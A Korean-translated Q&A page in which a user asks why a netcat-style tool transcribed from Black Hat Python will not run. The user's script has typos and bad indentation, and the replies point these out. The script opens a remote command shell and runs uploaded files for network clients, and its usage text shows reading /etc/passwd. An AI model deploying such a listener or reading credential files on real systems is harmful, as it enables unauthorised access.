2016-08-17 4 views
1

다음 코드는 검은 모자 파이썬 책에 표시된 스크립트이지만 외관상으로는 작동하지 않습니다. 전자 북을 읽으며 5 번 이상 코드를 다시 작성한 후에도 여전히 작동하지 않습니다 (전자 책은 어떤 이유로 복사/붙여 넣기를 허용하지 않습니다) . 코드와 책에 표시된 모든 예제를 시도했지만 동일한 결과를 얻습니다. 줄이 약 1 초 동안 검게 변한 다음 다음 줄에 일반 명령 줄 프롬프트 ("C : \ Python27")가 만들어집니다 . 현재 Windows 10을 사용 중입니다.이 책에서 사용자가 "bhp.py -t localhost -p 9999"를 입력하면 사용자에게 사용자 지정 명령 셸이 제공됩니다. - 나에게 도움이되지 않았습니다 ... 내 질문을 볼 수있는 감사.검은 모자 파이썬 책의 코드가 실행되지 않습니까?

import socket 
import threading 
import sys 
import getopt 
import subprocess 

listen    = False 
command   = False 
upload    = False 
execute   = "" 
target    = "" 
upload_destination = "" 
port    = 0 

def usage(): 
    print ("BHP Net Tool") 
    print 
    print ("USAGE: bhpnet.py -t target_host -p port") 
    print ("-l --listen    - listen on [host]:[port] for incoming connections") 
    print ("-e --execute=file_to_run - execute the given file upon receiving a connection") 
    print ("-c --command    - initialize a command shell") 
    print ("-u --upload=destination - upon recieving connection upload a file and write to [destination]") 
    print 
    print 
    print ("Examples: ") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -c") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\"") 
    print ("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") 
    sys.exit(0) 

def main(): 
    global listen 
    global port 
    global execute 
    global command 
    global upload_destination 
    global target 

    if not len(sys.argv[1:]): 
     usage() 

    try: 
     opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",  ["help","listen","execute","target","port","command","upload"]) 
    except getopt.GetoptError as err: 
     print str(err) 
     usage() 

    for o,a in opts: 
     if o in ("-h","--help"): 
      usage() 
     elif o in ("-l","--listen"): 
      listen = True 
     elif o in ("-e", "--execute"): 
      execute = a 
     elif o in ("-c", "--commandshell"): 
      command = True 
     elif o in ("-u", "--upload:"): 
      upload_destination = a 
     elif o in ("-t", "--target"): 
      target = a 
     elif o in ("-p", "--port"): 
      port = int(a) 
     else: 
      assert False, "Unhandled Option" 

if not listen and len(target) and port > 0: 
    buffer = sys.stfin.read() 
    client_sender(buffer) 

if listen: 
    server_loop() 
def client_sender(buffer): 

    client = socket.socket(socket.AF_INET, socket.SOCK_STEAM) 

    try: 
     client.connect((target,port)) 

     if len(buffer): 
      client.send(buffer) 

     while True: 
      recv_len = 1 
      response = "" 

      while recv_len: 

       data  = client.recv(4096) 
       recv_len = len(data) 
       response+= data 

       if recv_len < 4096: 
        break 

      print response, 

      buffer = raw_input("") 
      buffer += "\n" 

      client.send(buffer) 

    except: 

      print "[*] Exception! Exciting!." 

      client.close() 

def server_loop(): 
    global target 

    if not len(target): 
     target = "0.0.0.0" 

    server = socket.socket(socket.AF_INET, socket.SOCL_STEAM) 
    server.bind((target,port)) 
    server.listen(5) 

    while True: 
     client_socket, addr = server.accept() 

     client_thread = threading.Thread(target=client_handler,args=(client_socket,)) 
     client_thread.start() 

def run_command(command): 

    command = command.rstrip() 

    try: 
      output = subprocess.check_output(command,stderr=subprocess. STDOUT, shell=True) 
    except: 
      output = "Failed to execute command.\r\n" 

    return output 

def client_handler(client_socket): 
    global upload 
    global execute 
    global command 

    if len(upload_destination): 

      file_buffer = "" 
    while True: 
     data = client_socket.recv(1024) 

     if not data: 
      break 
     else: 
      file_buffer += data 

    try: 
     file_descriptor = open(upload_destination,"wb") 
     file_descriptor.write(file_buffer) 
     file_descriptor.close() 

     client_socket.send("Successfully saved file to %s\r\n" % upload_destination) 
    except: 
     client_socket.send("Failed to save file to %s\r\n" % upload_destination) 

if len(execute): 

     output = run_command(execute) 

     client_socket.send(output) 

if command: 

     while True: 
      client_socket.send("<BHP:#> ") 

      cmd_buffer = "" 
      while "\n" not in cmd_buffer: 
       cmd_buffer += client_socket.recv(1024) 

      response = run_command(cmd_buffer) 

      client_socket.send(response) 

main() 
+3

들여 쓰기가 의심스러운 경우, 기능의 일부가 아닌 여러 코드 블록이 있습니다. 들여 쓰기가 올바른지 확인하십시오. – cdarke

답변

0

내가 생각하기에, 함수 def client_sender(buffer)으로 시작하는 코드를 def main()으로 작성한 것입니다. 그러나 책에 언급되어 있듯이 대신에 def main() 함수 위에 써야합니다.

시도해보십시오.

+0

함수가 선언 된 순서가 중요한 이유는 무엇입니까? – Tagc

+0

몇 가지 언어로 제공됩니다. 파이썬에서는'main'을 호출하기 전에 모든 함수가 정의되어 있으면 충분합니다. – filmor

0

당신은 4 공백이 블록을 들여해야합니다

if not listen and len(target) and port > 0: 
    buffer = sys.stfin.read() 
    client_sender(buffer) 

if listen: 
    server_loop() 

그런 다음 당신은 오타가 : stfinstdin해야한다. 이 명령을 변경하면 python script.py -t localhost -p 9999 스크립트가 시작되어 buffer = sys.stdin.read() 줄에 빠지 긴하지만 프롬프트가 인쇄되지 않습니다. 맞습니까? 그렇지 않으면 더 많은 수정이 필요합니다.

0

문제는 키보드 언어이며 스페인어에서는 Contro-Z와 Enter입니다.

+1

이 질문에 어떻게 대답합니까? – Dominique

관련 문제